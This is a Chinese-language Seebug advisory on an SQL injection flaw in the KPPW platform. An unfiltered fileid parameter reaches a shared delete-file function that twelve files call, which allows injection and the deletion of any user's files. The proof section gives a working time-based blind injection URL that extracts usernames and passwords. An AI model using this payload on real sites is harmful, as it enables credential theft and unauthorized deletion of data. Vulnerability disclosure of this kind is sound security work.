KPPW最新版SQL注入漏洞八(全局问题导致12处注入及越权操作)

2014-12-11T00:00:00
ID SSV:94513
Type seebug
Reporter Root
Modified 2014-12-11T00:00:00

Description

简要描述:

KPPW最新版SQL注入漏洞八,从一处问题找出罪魁祸首,全局文件问题导致12处注入及越权操作

详细说明:

KPPW最新版SQL注入漏洞八,从一处问题找出罪魁祸首,全局文件问题导致12处注入及越权操作 文件/control/pubgoods.php

<?php kekezu::check_login(); $strPageTitle = '发布商品-'.$_K ['html_title']; $strPageKeyword = '发布商品,'.$_K ['html_title']; $strPageDescription = $kekezu->_sys_config['index_seo_desc']; $id = intval($id); $step = strval(trim($step)); ...... $strUrl = "index.php?do=pubgoods&id=".$id; $_SESSION['spread'] = 'index.php?do=pubgoods'; require S_ROOT . "/shop/" . $arrModelInfo['model_dir'] . "/control/pub.php";

看最后两行,这里的$arrModelInfo['model_dir']可以为goods或者service 当$arrModelInfo['model_dir']为goods时,我们跟进文件: /shop/goods/control/pub.php

<?php defined ( 'IN_KEKE' ) or exit ( 'Access Denied' ); $stdCacheName = 'service_cache_'.$id.'_' . substr ( md5 ( $gUid ), 0, 6 ); $objRelease = goods_release_class::get_instance ($id); $objRelease->get_service_obj ( $stdCacheName ); $arrPubInfo = $objRelease->_std_obj->_release_info; $arrConfig = $objRelease->_service_config; $arrPubInfo['indus_pid'] and $arrAllIndustrys = CommonClass::getIndustryByPid($arrPubInfo['indus_pid'],'indus_id,indus_pid,indus_name'); switch ($step) { case 'step1': ...... if($action == 'delete_image'){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); $arrFileInfo = db_factory::get_one($strSql); $resText = CommonClass::delFileByFileId($fileid); if($resText){ $array = explode(',', $arrPubInfo['file_ids']); $newArr = CommonClass::returnNewArr($arrFileInfo['save_name'], $array); $_POST['file_ids'] = implode(",", $newArr); $arrPubInfo and $_POST = array_merge ( $arrPubInfo, $_POST); $objRelease->save_service_obj ($_POST, $stdCacheName ); kekezu::echojson('删除成功',1,array('fileid'=>$fileid,'save_name'=>$arrFileInfo['save_name']));die; } } if($action == 'delete_goodsfile'){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileid); $arrFileInfo = db_factory::get_one($strSql); $resText = CommonClass::delFileByFileId($fileid);

当action=delete_image,或者action=delete_goodsfile时,参数fileid都会进入sql语句,而且没有过滤,没有引号保护,最后导致sql注入 继续往下,参数fileid还进入了函数delFileByFileId,继续跟踪: 文件/lib/inc/CommonClass.php:

public static function delFileByFileId($fileId){ $strSql = sprintf("select file_id,file_name,save_name from %switkey_file where file_id in(%s)",TABLEPRE,$fileId); $arrFileInfo = db_factory::get_one($strSql); $filename = S_ROOT.$arrFileInfo['save_name']; if(file_exists($filename)){ unlink($filename); } return db_factory::execute("delete from ".TABLEPRE."witkey_file where file_id = ".$fileId); }

这里的fileid同样进入了select和delete语句,都没有过滤处理和保护,导致两处注入 这里在delete时,可以删除用户发布的商品或者任务的图片已经文件,而且这里最后删除时只根据fileid删除,没有判断删除对象的用户属性,导致可以任意删除任意用户发布的文件,导致越权操作。 下面来看看文件/lib/inc/CommonClass.php,这是一个全局调用的函数 来看看有多少文件使用了/lib/inc/CommonClass.php中的这个delFileByFileId函数

<img src="https://images.seebug.org/upload/201412/1023150322e5fb07a47f5512356ae6381fca8563.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

可以看到这里一个有12个文件使用了这个delFileByFileId函数,我们再来找两个其他文件,看看是不是也没有处理传入delFileByFileId函数的fileid参数 第一个文件/control/taskhandle.php:

case 'workover': if (isset($formhash)&&kekezu::submitcheck($formhash)){ $resText = $objTask-&gt;work_over($tarContent, $file_id,intval($modify)); if($resText === true){ kekezu::show_msg ( '操作成功', 'index.php?do=task&id='.$taskId, 3, NULL, 'ok' ); }else{ kekezu::show_msg ( $resText, 'index.php?do=task&id='.$taskId, 3, NULL, 'fail' ); } } if($action == 'deleteFile'){ $resText = CommonClass::delFileByFileId($fileid); if($resText){ kekezu::echojson('删除成功',1,array('fileid'=&gt;$fileid));die; } }

fileid在全文上下没有处理,这里进入函数delFileByFileId后,也会导致注入 其他的就不一一列出来了,都存在同样的问题 fileid没有处理,直接进入函数delFileByFileId,然后fileid进入select和delete语句,导致sql注入,并且存在越权删除任意用户文件的漏洞

漏洞证明:

sql注入漏洞:

http://localhost/KPPW2520141118UTF-8/index.php?do=pubgoods&step=step1&action=delete_image&fileid=5566)+and+1=if(mid((select+concat(username,password)+from+keke_witkey_member+limit+0,1),1,1)=char(97),sleep(5),2)%23

这里会延迟10秒返回 因为这里的存在两处select,所以sleep(5)了两次

<img src="https://images.seebug.org/upload/201412/102327163aaf80c376d2a68c9fd90eeec6bb00c5.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

看看数据库执行结果:

<img src="https://images.seebug.org/upload/201412/102327291f5c915c479b5520e191749582e1a9ce.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

成功执行我们的sql语句 这里说UserName+password的第一个字符是a,继续执行,即可注入出完整的UserName和password,注入脚本之前已经有了,修改下请求即可